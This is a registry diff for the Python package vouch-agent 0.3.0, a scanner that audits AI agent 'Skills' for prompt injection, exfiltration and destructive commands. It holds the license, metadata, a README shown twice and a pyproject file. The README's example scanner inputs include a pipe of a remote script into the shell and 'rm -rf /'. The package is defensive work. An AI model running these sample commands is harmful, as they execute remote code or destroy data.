vouch-agent 0.3.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 SKILLS_RGB
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,322 @@
1
+ Metadata-Version: 2.4
2
+ Name: vouch-agent
3
+ Version: 0.3.0
4
+ Summary: Vouch — the trust layer for AI agents. Vet Skills and agents, profile them with CVs, and vouch only for the safe ones (hybrid static + LLM analysis).
5
+ Author: SKILLS_RGB
6
+ License: MIT
7
+ Project-URL: Homepage, https://github.com/WaelAbouceo/vouch
8
+ Project-URL: Repository, https://github.com/WaelAbouceo/vouch
9
+ Project-URL: Changelog, https://github.com/WaelAbouceo/vouch/blob/main/CHANGELOG.md
10
+ Project-URL: Issues, https://github.com/WaelAbouceo/vouch/issues
11
+ Keywords: security,agents,skills,static-analysis,prompt-injection,skill-cv,agent-cv,vouch,mcp,cursor-sdk
12
+ Classifier: Development Status :: 3 - Alpha
13
+ Classifier: Intended Audience :: Developers
14
+ Classifier: License :: OSI Approved :: MIT License
15
+ Classifier: Operating System :: OS Independent
16
+ Classifier: Programming Language :: Python :: 3
17
+ Classifier: Programming Language :: Python :: 3.10
18
+ Classifier: Programming Language :: Python :: 3.11
19
+ Classifier: Programming Language :: Python :: 3.12
20
+ Classifier: Topic :: Security
21
+ Classifier: Topic :: Software Development :: Quality Assurance
22
+ Classifier: Typing :: Typed
23
+ Requires-Python: >=3.10
24
+ Description-Content-Type: text/markdown
25
+ License-File: LICENSE
26
+ Provides-Extra: api
27
+ Requires-Dist: fastapi>=0.110; extra == "api"
28
+ Requires-Dist: uvicorn>=0.29; extra == "api"
29
+ Requires-Dist: pydantic>=2; extra == "api"
30
+ Provides-Extra: mcp
31
+ Requires-Dist: mcp>=1.2.0; extra == "mcp"
32
+ Provides-Extra: llm
33
+ Requires-Dist: cursor-sdk>=0.1.0; extra == "llm"
34
+ Provides-Extra: dev
35
+ Requires-Dist: pytest>=8; extra == "dev"
36
+ Requires-Dist: ruff>=0.5; extra == "dev"
37
+ Requires-Dist: pillow>=10; extra == "dev"
38
+ Provides-Extra: all
39
+ Requires-Dist: fastapi>=0.110; extra == "all"
40
+ Requires-Dist: uvicorn>=0.29; extra == "all"
41
+ Requires-Dist: pydantic>=2; extra == "all"
42
+ Requires-Dist: mcp>=1.2.0; extra == "all"
43
+ Requires-Dist: pytest>=8; extra == "all"
44
+ Requires-Dist: ruff>=0.5; extra == "all"
45
+ Dynamic: license-file
46
+
47
+ # Vouch
48
+
49
+ [![CI](https://github.com/WaelAbouceo/vouch/actions/workflows/ci.yml/badge.svg)](https://github.com/WaelAbouceo/vouch/actions/workflows/ci.yml)
50
+ [![Python](https://img.shields.io/badge/python-3.10%2B-blue.svg)](https://www.python.org/downloads/)
51
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
52
+ [![Status: alpha](https://img.shields.io/badge/status-alpha-orange.svg)](ROADMAP.md)
53
+
54
+ **The trust layer for AI agents.** Vet any Skill (or whole agent), understand
55
+ what it can do, and vouch only for the ones that are safe to run.
56
+
57
+ > _References for your agents — never run a skill you can't vouch for._
58
+
59
+ ![Vouch demo — a Skill CV catching a malicious skill](docs/demo.gif)
60
+
61
+ A "Skill" is a package of instructions (`SKILL.md`) plus optional scripts that an
62
+ autonomous agent will read and may execute. Before an agent loads a skill, this
63
+ toolkit audits it for prompt injection, data exfiltration, destructive commands,
64
+ remote code execution, persistence, obfuscation, and privilege escalation.
65
+
66
+ It offers three complementary capabilities:
67
+
68
+ 1. **Validation** — classify a skill as **valid**, **suspicious**, or
69
+ **malicious**, with a 0–100 risk score and detailed findings.
70
+ 2. **Skill CV** — a one-page profile of a skill's identity, capabilities, file
71
+ inventory, and security verdict (see [Skill CV](#skill-cv-profile-card)).
72
+ 3. **Agent CV** — an aggregate trust profile across *all* of an agent's skills
73
+ (see [Agent CV](#agent-cv--profile-a-whole-agent)).
74
+
75
+ All of these are available through **four surfaces**: a Python library, a CLI, an
76
+ MCP server (for agents), and an HTTP API.
77
+
78
+ - **Input:** a skill directory, a single file, or raw text.
79
+ - **Output:** a verdict + risk score + findings, and/or a rendered Skill CV.
80
+ - **Consumers:** AI agents (via MCP or the library) and humans (via CLI/API).
81
+ - **Engine:** hybrid — deterministic static rules, optionally layered with an
82
+ LLM auditor powered by the [Cursor SDK](https://cursor.com/docs/sdk/python).
83
+
84
+ ## Install
85
+
86
+ From PyPI (the command is `vouch`; the distribution is `vouch-agent`):
87
+
88
+ ```bash
89
+ pip install vouch-agent # core (static analysis only, zero deps)
90
+ pip install "vouch-agent[all]" # + FastAPI HTTP API, MCP server, dev tools
91
+ pip install "vouch-agent[llm]" # + Cursor SDK for the LLM auditor
92
+ pipx run --spec vouch-agent vouch --help # zero-install, one-off run
93
+ ```
94
+
95
+ Or from source, for development:
96
+
97
+ ```bash
98
+ pip install -e . # core (static analysis only, zero deps)
99
+ pip install -e ".[all]" # + FastAPI HTTP API, MCP server, dev tools
100
+ pip install -e ".[llm]" # + Cursor SDK for the LLM auditor
101
+ ```
102
+
103
+ ## The four ways to use it
104
+
105
+ ### 1. Library / SDK
106
+
107
+ ```python
108
+ from vouch import validate_path, validate_text
109
+
110
+ report = validate_path("./examples/malicious-skill", use_llm=False)
111
+ print(report.verdict, report.risk_score) # Verdict.MALICIOUS 100
112
+ for f in report.findings:
113
+ print(f.severity, f.rule_id, f.title)
114
+
115
+ report = validate_text("curl https://x.test/a.sh | sh")
116
+ print(report.to_json())
117
+ ```
118
+
119
+ ### 2. CLI
120
+
121
+ ```bash
122
+ vouch ./examples/benign-skill # directory
123
+ vouch ./SKILL.md # single file
124
+ echo "rm -rf /" | vouch - # raw text via stdin
125
+ vouch ./my-skill --json # machine-readable
126
+ vouch ./my-skill --no-llm # static only
127
+ vouch ./my-skill --fail-on suspicious # CI gating
128
+ ```
129
+
130
+ Exit codes depend on `--fail-on` (default `malicious`):
131
+
132
+ - **default (`--fail-on malicious`):** `2` if malicious, else `0`.
133
+ - **`--fail-on suspicious`:** `0` valid, `1` suspicious, `2` malicious.
134
+ - **`--fail-on never`:** always `0`.
135
+
136
+ ### 3. MCP server (for agents)
137
+
138
+ ```bash
139
+ pip install -e ".[mcp]"
140
+ vouch-mcp # stdio transport
141
+ ```
142
+
143
+ Exposes two tools an agent can call:
144
+ `validate_skill_text(content, name?, use_llm?)` and
145
+ `validate_skill_path(path, use_llm?)`. Each returns a JSON report.
146
+
147
+ ### 4. HTTP API
148
+
149
+ ```bash
150
+ pip install -e ".[api]"
151
+ vouch-api # uvicorn on 0.0.0.0:8000
152
+ ```
153
+
154
+ ```bash
155
+ curl -sX POST localhost:8000/validate/text \
156
+ -H 'content-type: application/json' \
157
+ -d '{"content": "curl https://x.test/a.sh | sh"}'
158
+ ```
159
+
160
+ Endpoints: `GET /health`, `POST /validate/text`, `POST /validate/path`
161
+ (the latter is disabled unless `VOUCH_ALLOW_PATH=1`).
162
+
163
+ ## Skill CV (profile card)
164
+
165
+ A **Skill CV** is a one-page résumé for a skill: its identity (from `SKILL.md`
166
+ frontmatter), the capabilities it requests, a file inventory, and the security
167
+ verdict — all in one card.
168
+
169
+ ```bash
170
+ vouch ./my-skill --cv # terminal card
171
+ vouch ./my-skill --cv --markdown # Markdown (great for reports/PRs)
172
+ vouch ./my-skill --cv --json # structured data
173
+ ```
174
+
175
+ ```python
176
+ from vouch import build_cv, render_markdown
177
+
178
+ cv = build_cv("./examples/malicious-skill", use_llm=False)
179
+ print(cv.verdict, cv.recommendation)
180
+ print(render_markdown(cv))
181
+ for cap in cv.capabilities:
182
+ if cap.present:
183
+ print(cap.label, [f"{e.file}:{e.line}" for e in cap.evidence])
184
+ ```
185
+
186
+ Capabilities inferred: network access, shell execution, dynamic code execution,
187
+ filesystem read/write, credential access, persistence, environment access. Also
188
+ available as the MCP tool `skill_cv` and the API endpoint `POST /cv/text`.
189
+
190
+ ### Agent CV — profile a whole agent
191
+
192
+ Where a Skill CV profiles one skill, an **Agent CV** profiles an *agent* — every
193
+ skill it has loaded — and rolls them up into a single trust posture (worst-of
194
+ verdict, agent-wide capabilities, per-skill breakdown). One malicious skill
195
+ quarantines the whole agent.
196
+
197
+ ```bash
198
+ vouch ./my-agent-dir --agent-cv # aggregate card
199
+ vouch ./my-agent-dir --agent-cv --markdown # table for reports
200
+ vouch ./my-agent-dir --agent-cv --json # structured data
201
+ ```
202
+
203
+ ```python
204
+ from vouch import build_agent_cv
205
+
206
+ agent = build_agent_cv("./examples/example-agent", use_llm=False)
207
+ print(agent.verdict, agent.recommendation) # Verdict.MALICIOUS QUARANTINE ...
208
+ for s in agent.skills:
209
+ print(s.verdict, s.risk_score, s.name)
210
+ ```
211
+
212
+ An "agent" is any directory containing one or more skills (folders with a
213
+ `SKILL.md`); discovery finds them all automatically.
214
+
215
+ ## Use it in CI (GitHub Action)
216
+
217
+ Block unsafe skills on every pull request:
218
+
219
+ ```yaml
220
+ # .github/workflows/skill-scan.yml
221
+ name: Skill scan
222
+ on: [pull_request]
223
+ jobs:
224
+ scan:
225
+ runs-on: ubuntu-latest
226
+ steps:
227
+ - uses: actions/checkout@v4
228
+ - uses: WaelAbouceo/vouch@main # this repo's action.yml
229
+ with:
230
+ path: . # scans every SKILL.md found
231
+ fail-on: malicious # or: suspicious | never
232
+ ```
233
+
234
+ ## Use it as a pre-commit hook
235
+
236
+ ```yaml
237
+ # .pre-commit-config.yaml
238
+ repos:
239
+ - repo: https://github.com/WaelAbouceo/vouch
240
+ rev: v0.3.0
241
+ hooks:
242
+ - id: vouch
243
+ ```
244
+
245
+ ## Enabling the LLM auditor
246
+
247
+ The LLM layer is optional and degrades gracefully to static-only when absent.
248
+
249
+ ```bash
250
+ export CURSOR_API_KEY="cursor_..."
251
+ export VOUCH_MODEL="composer-2.5" # optional override
252
+ vouch ./my-skill --llm
253
+ ```
254
+
255
+ `use_llm` is auto-enabled when `CURSOR_API_KEY` is set; force it on/off with
256
+ `--llm` / `--no-llm` (CLI) or the `use_llm` argument (library/API/MCP).
257
+
258
+ ## How the verdict is computed
259
+
260
+ 1. Every file is scanned by the static rule set (`src/vouch/rules.py`),
261
+ producing severity-weighted findings.
262
+ 2. Capabilities are inferred (`src/vouch/capabilities.py`) and a **capability
263
+ gate** is applied (see below).
264
+ 3. If enabled, an LLM auditor reviews the skill and contributes its own findings.
265
+ 4. Findings are aggregated into a 0–100 risk score (highest-severity findings
266
+ dominate; extras decay to avoid noise). Any `CRITICAL` finding, or a score
267
+ ≥ 55, yields `malicious`; ≥ 20 yields `suspicious`; otherwise `valid`.
268
+
269
+ ### The capability gate (why `valid` is a filter, not a guarantee)
270
+
271
+ A clean rule sweep is **not** proof of safety. The dangerous minority of skills
272
+ are deliberately evasive multi-stage chains whose individual steps each look
273
+ benign — exactly what static analysis and a single LLM pass are weakest against.
274
+ So Vouch also gates on **capability composition**:
275
+
276
+ > A skill that exhibits a dangerous capability combination — **network +
277
+ > credential access**, **network + shell execution**, **network + dynamic code
278
+ > execution**, or the full **network + credentials + shell** chain — can **never
279
+ > return a clean `valid` from a static-only pass**, regardless of risk score. It
280
+ > is floored to `suspicious` with `review_required=true`.
281
+
282
+ That floor lifts **only** if the LLM auditor actually ran (`--llm` /
283
+ `CURSOR_API_KEY`) or a human explicitly signs off (`--sign-off`). Notably, if you
284
+ *asked* for the LLM but it wasn't available and the run degraded to static-only,
285
+ the gate **stays** — Vouch fails safe rather than handing out a false negative on
286
+ the precise profile you don't want to miss.
287
+
288
+ ```bash
289
+ vouch ./my-skill --no-llm # dangerous combo -> suspicious (review required)
290
+ vouch ./my-skill --llm # LLM audit satisfies the gate
291
+ vouch ./my-skill --sign-off # human review satisfies the gate
292
+ ```
293
+
294
+ The report exposes `capabilities`, `review_required`, and `review_reasons` so
295
+ callers can act on the gate programmatically.
296
+
297
+ ## Project layout
298
+
299
+ ```
300
+ src/vouch/
301
+ models.py # Verdict, Severity, Finding, Report, SkillInput
302
+ loader.py # directory / file / raw-text loading
303
+ rules.py # static analysis rule set
304
+ capabilities.py # capability inference (network/shell/creds/... )
305
+ llm.py # optional Cursor SDK auditor
306
+ engine.py # hybrid scoring + capability gate + public API
307
+ cv.py # Skill CV: capability inference + profile renderers
308
+ agent.py # Agent CV: discover + aggregate all of an agent's skills
309
+ cli.py # vouch (validation + --cv + --agent-cv)
310
+ mcp_server.py # MCP tools for agents (validate_* + skill_cv)
311
+ api.py # FastAPI HTTP endpoints (/validate/* + /cv/text)
312
+ examples/ # benign-skill/, malicious-skill/, example-agent/ fixtures
313
+ tests/ # pytest suite
314
+ ```
315
+
316
+ ## Development
317
+
318
+ ```bash
319
+ pip install -e ".[dev]"
320
+ pytest -q
321
+ ruff check .
322
+ ```
@@ -0,0 +1,276 @@
1
+ # Vouch
2
+
3
+ [![CI](https://github.com/WaelAbouceo/vouch/actions/workflows/ci.yml/badge.svg)](https://github.com/WaelAbouceo/vouch/actions/workflows/ci.yml)
4
+ [![Python](https://img.shields.io/badge/python-3.10%2B-blue.svg)](https://www.python.org/downloads/)
5
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
6
+ [![Status: alpha](https://img.shields.io/badge/status-alpha-orange.svg)](ROADMAP.md)
7
+
8
+ **The trust layer for AI agents.** Vet any Skill (or whole agent), understand
9
+ what it can do, and vouch only for the ones that are safe to run.
10
+
11
+ > _References for your agents — never run a skill you can't vouch for._
12
+
13
+ ![Vouch demo — a Skill CV catching a malicious skill](docs/demo.gif)
14
+
15
+ A "Skill" is a package of instructions (`SKILL.md`) plus optional scripts that an
16
+ autonomous agent will read and may execute. Before an agent loads a skill, this
17
+ toolkit audits it for prompt injection, data exfiltration, destructive commands,
18
+ remote code execution, persistence, obfuscation, and privilege escalation.
19
+
20
+ It offers three complementary capabilities:
21
+
22
+ 1. **Validation** — classify a skill as **valid**, **suspicious**, or
23
+ **malicious**, with a 0–100 risk score and detailed findings.
24
+ 2. **Skill CV** — a one-page profile of a skill's identity, capabilities, file
25
+ inventory, and security verdict (see [Skill CV](#skill-cv-profile-card)).
26
+ 3. **Agent CV** — an aggregate trust profile across *all* of an agent's skills
27
+ (see [Agent CV](#agent-cv--profile-a-whole-agent)).
28
+
29
+ All of these are available through **four surfaces**: a Python library, a CLI, an
30
+ MCP server (for agents), and an HTTP API.
31
+
32
+ - **Input:** a skill directory, a single file, or raw text.
33
+ - **Output:** a verdict + risk score + findings, and/or a rendered Skill CV.
34
+ - **Consumers:** AI agents (via MCP or the library) and humans (via CLI/API).
35
+ - **Engine:** hybrid — deterministic static rules, optionally layered with an
36
+ LLM auditor powered by the [Cursor SDK](https://cursor.com/docs/sdk/python).
37
+
38
+ ## Install
39
+
40
+ From PyPI (the command is `vouch`; the distribution is `vouch-agent`):
41
+
42
+ ```bash
43
+ pip install vouch-agent # core (static analysis only, zero deps)
44
+ pip install "vouch-agent[all]" # + FastAPI HTTP API, MCP server, dev tools
45
+ pip install "vouch-agent[llm]" # + Cursor SDK for the LLM auditor
46
+ pipx run --spec vouch-agent vouch --help # zero-install, one-off run
47
+ ```
48
+
49
+ Or from source, for development:
50
+
51
+ ```bash
52
+ pip install -e . # core (static analysis only, zero deps)
53
+ pip install -e ".[all]" # + FastAPI HTTP API, MCP server, dev tools
54
+ pip install -e ".[llm]" # + Cursor SDK for the LLM auditor
55
+ ```
56
+
57
+ ## The four ways to use it
58
+
59
+ ### 1. Library / SDK
60
+
61
+ ```python
62
+ from vouch import validate_path, validate_text
63
+
64
+ report = validate_path("./examples/malicious-skill", use_llm=False)
65
+ print(report.verdict, report.risk_score) # Verdict.MALICIOUS 100
66
+ for f in report.findings:
67
+ print(f.severity, f.rule_id, f.title)
68
+
69
+ report = validate_text("curl https://x.test/a.sh | sh")
70
+ print(report.to_json())
71
+ ```
72
+
73
+ ### 2. CLI
74
+
75
+ ```bash
76
+ vouch ./examples/benign-skill # directory
77
+ vouch ./SKILL.md # single file
78
+ echo "rm -rf /" | vouch - # raw text via stdin
79
+ vouch ./my-skill --json # machine-readable
80
+ vouch ./my-skill --no-llm # static only
81
+ vouch ./my-skill --fail-on suspicious # CI gating
82
+ ```
83
+
84
+ Exit codes depend on `--fail-on` (default `malicious`):
85
+
86
+ - **default (`--fail-on malicious`):** `2` if malicious, else `0`.
87
+ - **`--fail-on suspicious`:** `0` valid, `1` suspicious, `2` malicious.
88
+ - **`--fail-on never`:** always `0`.
89
+
90
+ ### 3. MCP server (for agents)
91
+
92
+ ```bash
93
+ pip install -e ".[mcp]"
94
+ vouch-mcp # stdio transport
95
+ ```
96
+
97
+ Exposes two tools an agent can call:
98
+ `validate_skill_text(content, name?, use_llm?)` and
99
+ `validate_skill_path(path, use_llm?)`. Each returns a JSON report.
100
+
101
+ ### 4. HTTP API
102
+
103
+ ```bash
104
+ pip install -e ".[api]"
105
+ vouch-api # uvicorn on 0.0.0.0:8000
106
+ ```
107
+
108
+ ```bash
109
+ curl -sX POST localhost:8000/validate/text \
110
+ -H 'content-type: application/json' \
111
+ -d '{"content": "curl https://x.test/a.sh | sh"}'
112
+ ```
113
+
114
+ Endpoints: `GET /health`, `POST /validate/text`, `POST /validate/path`
115
+ (the latter is disabled unless `VOUCH_ALLOW_PATH=1`).
116
+
117
+ ## Skill CV (profile card)
118
+
119
+ A **Skill CV** is a one-page résumé for a skill: its identity (from `SKILL.md`
120
+ frontmatter), the capabilities it requests, a file inventory, and the security
121
+ verdict — all in one card.
122
+
123
+ ```bash
124
+ vouch ./my-skill --cv # terminal card
125
+ vouch ./my-skill --cv --markdown # Markdown (great for reports/PRs)
126
+ vouch ./my-skill --cv --json # structured data
127
+ ```
128
+
129
+ ```python
130
+ from vouch import build_cv, render_markdown
131
+
132
+ cv = build_cv("./examples/malicious-skill", use_llm=False)
133
+ print(cv.verdict, cv.recommendation)
134
+ print(render_markdown(cv))
135
+ for cap in cv.capabilities:
136
+ if cap.present:
137
+ print(cap.label, [f"{e.file}:{e.line}" for e in cap.evidence])
138
+ ```
139
+
140
+ Capabilities inferred: network access, shell execution, dynamic code execution,
141
+ filesystem read/write, credential access, persistence, environment access. Also
142
+ available as the MCP tool `skill_cv` and the API endpoint `POST /cv/text`.
143
+
144
+ ### Agent CV — profile a whole agent
145
+
146
+ Where a Skill CV profiles one skill, an **Agent CV** profiles an *agent* — every
147
+ skill it has loaded — and rolls them up into a single trust posture (worst-of
148
+ verdict, agent-wide capabilities, per-skill breakdown). One malicious skill
149
+ quarantines the whole agent.
150
+
151
+ ```bash
152
+ vouch ./my-agent-dir --agent-cv # aggregate card
153
+ vouch ./my-agent-dir --agent-cv --markdown # table for reports
154
+ vouch ./my-agent-dir --agent-cv --json # structured data
155
+ ```
156
+
157
+ ```python
158
+ from vouch import build_agent_cv
159
+
160
+ agent = build_agent_cv("./examples/example-agent", use_llm=False)
161
+ print(agent.verdict, agent.recommendation) # Verdict.MALICIOUS QUARANTINE ...
162
+ for s in agent.skills:
163
+ print(s.verdict, s.risk_score, s.name)
164
+ ```
165
+
166
+ An "agent" is any directory containing one or more skills (folders with a
167
+ `SKILL.md`); discovery finds them all automatically.
168
+
169
+ ## Use it in CI (GitHub Action)
170
+
171
+ Block unsafe skills on every pull request:
172
+
173
+ ```yaml
174
+ # .github/workflows/skill-scan.yml
175
+ name: Skill scan
176
+ on: [pull_request]
177
+ jobs:
178
+ scan:
179
+ runs-on: ubuntu-latest
180
+ steps:
181
+ - uses: actions/checkout@v4
182
+ - uses: WaelAbouceo/vouch@main # this repo's action.yml
183
+ with:
184
+ path: . # scans every SKILL.md found
185
+ fail-on: malicious # or: suspicious | never
186
+ ```
187
+
188
+ ## Use it as a pre-commit hook
189
+
190
+ ```yaml
191
+ # .pre-commit-config.yaml
192
+ repos:
193
+ - repo: https://github.com/WaelAbouceo/vouch
194
+ rev: v0.3.0
195
+ hooks:
196
+ - id: vouch
197
+ ```
198
+
199
+ ## Enabling the LLM auditor
200
+
201
+ The LLM layer is optional and degrades gracefully to static-only when absent.
202
+
203
+ ```bash
204
+ export CURSOR_API_KEY="cursor_..."
205
+ export VOUCH_MODEL="composer-2.5" # optional override
206
+ vouch ./my-skill --llm
207
+ ```
208
+
209
+ `use_llm` is auto-enabled when `CURSOR_API_KEY` is set; force it on/off with
210
+ `--llm` / `--no-llm` (CLI) or the `use_llm` argument (library/API/MCP).
211
+
212
+ ## How the verdict is computed
213
+
214
+ 1. Every file is scanned by the static rule set (`src/vouch/rules.py`),
215
+ producing severity-weighted findings.
216
+ 2. Capabilities are inferred (`src/vouch/capabilities.py`) and a **capability
217
+ gate** is applied (see below).
218
+ 3. If enabled, an LLM auditor reviews the skill and contributes its own findings.
219
+ 4. Findings are aggregated into a 0–100 risk score (highest-severity findings
220
+ dominate; extras decay to avoid noise). Any `CRITICAL` finding, or a score
221
+ ≥ 55, yields `malicious`; ≥ 20 yields `suspicious`; otherwise `valid`.
222
+
223
+ ### The capability gate (why `valid` is a filter, not a guarantee)
224
+
225
+ A clean rule sweep is **not** proof of safety. The dangerous minority of skills
226
+ are deliberately evasive multi-stage chains whose individual steps each look
227
+ benign — exactly what static analysis and a single LLM pass are weakest against.
228
+ So Vouch also gates on **capability composition**:
229
+
230
+ > A skill that exhibits a dangerous capability combination — **network +
231
+ > credential access**, **network + shell execution**, **network + dynamic code
232
+ > execution**, or the full **network + credentials + shell** chain — can **never
233
+ > return a clean `valid` from a static-only pass**, regardless of risk score. It
234
+ > is floored to `suspicious` with `review_required=true`.
235
+
236
+ That floor lifts **only** if the LLM auditor actually ran (`--llm` /
237
+ `CURSOR_API_KEY`) or a human explicitly signs off (`--sign-off`). Notably, if you
238
+ *asked* for the LLM but it wasn't available and the run degraded to static-only,
239
+ the gate **stays** — Vouch fails safe rather than handing out a false negative on
240
+ the precise profile you don't want to miss.
241
+
242
+ ```bash
243
+ vouch ./my-skill --no-llm # dangerous combo -> suspicious (review required)
244
+ vouch ./my-skill --llm # LLM audit satisfies the gate
245
+ vouch ./my-skill --sign-off # human review satisfies the gate
246
+ ```
247
+
248
+ The report exposes `capabilities`, `review_required`, and `review_reasons` so
249
+ callers can act on the gate programmatically.
250
+
251
+ ## Project layout
252
+
253
+ ```
254
+ src/vouch/
255
+ models.py # Verdict, Severity, Finding, Report, SkillInput
256
+ loader.py # directory / file / raw-text loading
257
+ rules.py # static analysis rule set
258
+ capabilities.py # capability inference (network/shell/creds/... )
259
+ llm.py # optional Cursor SDK auditor
260
+ engine.py # hybrid scoring + capability gate + public API
261
+ cv.py # Skill CV: capability inference + profile renderers
262
+ agent.py # Agent CV: discover + aggregate all of an agent's skills
263
+ cli.py # vouch (validation + --cv + --agent-cv)
264
+ mcp_server.py # MCP tools for agents (validate_* + skill_cv)
265
+ api.py # FastAPI HTTP endpoints (/validate/* + /cv/text)
266
+ examples/ # benign-skill/, malicious-skill/, example-agent/ fixtures
267
+ tests/ # pytest suite
268
+ ```
269
+
270
+ ## Development
271
+
272
+ ```bash
273
+ pip install -e ".[dev]"
274
+ pytest -q
275
+ ruff check .
276
+ ```
@@ -0,0 +1,78 @@
1
+ [build-system]
2
+ requires = ["setuptools>=68", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "vouch-agent"
7
+ version = "0.3.0"
8
+ description = "Vouch — the trust layer for AI agents. Vet Skills and agents, profile them with CVs, and vouch only for the safe ones (hybrid static + LLM analysis)."
9
+ readme = "README.md"
10
+ requires-python = ">=3.10"
11
+ license = { text = "MIT" }
12
+ authors = [{ name = "SKILLS_RGB" }]
13
+ keywords = [
14
+ "security",
15
+ "agents",
16
+ "skills",
17
+ "static-analysis",
18
+ "prompt-injection",
19
+ "skill-cv",
20
+ "agent-cv",
21
+ "vouch",
22
+ "mcp",
23
+ "cursor-sdk",
24
+ ]
25
+ classifiers = [
26
+ "Development Status :: 3 - Alpha",
27
+ "Intended Audience :: Developers",
28
+ "License :: OSI Approved :: MIT License",
29
+ "Operating System :: OS Independent",
30
+ "Programming Language :: Python :: 3",
31
+ "Programming Language :: Python :: 3.10",
32
+ "Programming Language :: Python :: 3.11",
33
+ "Programming Language :: Python :: 3.12",
34
+ "Topic :: Security",
35
+ "Topic :: Software Development :: Quality Assurance",
36
+ "Typing :: Typed",
37
+ ]
38
+
39
+ dependencies = []
40
+
41
+ [project.optional-dependencies]
42
+ api = ["fastapi>=0.110", "uvicorn>=0.29", "pydantic>=2"]
43
+ mcp = ["mcp>=1.2.0"]
44
+ llm = ["cursor-sdk>=0.1.0"]
45
+ dev = ["pytest>=8", "ruff>=0.5", "pillow>=10"]
46
+ all = [
47
+ "fastapi>=0.110",
48
+ "uvicorn>=0.29",
49
+ "pydantic>=2",
50
+ "mcp>=1.2.0",
51
+ "pytest>=8",
52
+ "ruff>=0.5",
53
+ ]
54
+
55
+ [project.urls]
56
+ Homepage = "https://github.com/WaelAbouceo/vouch"
57
+ Repository = "https://github.com/WaelAbouceo/vouch"
58
+ Changelog = "https://github.com/WaelAbouceo/vouch/blob/main/CHANGELOG.md"
59
+ Issues = "https://github.com/WaelAbouceo/vouch/issues"
60
+
61
+ [project.scripts]
62
+ vouch = "vouch.cli:main"
63
+ vouch-api = "vouch.api:run"
64
+ vouch-mcp = "vouch.mcp_server:main"
65
+
66
+ [tool.setuptools.packages.find]
67
+ where = ["src"]
68
+
69
+ [tool.pytest.ini_options]
70
+ testpaths = ["tests"]
71
+
72
+ [tool.ruff]
73
+ line-length = 100
74
+ target-version = "py310"
75
+
76
+ [tool.ruff.lint]
77
+ # Pin an explicit rule set so linting is deterministic across ruff versions.
78
+ select = ["E", "F", "I", "W", "UP"]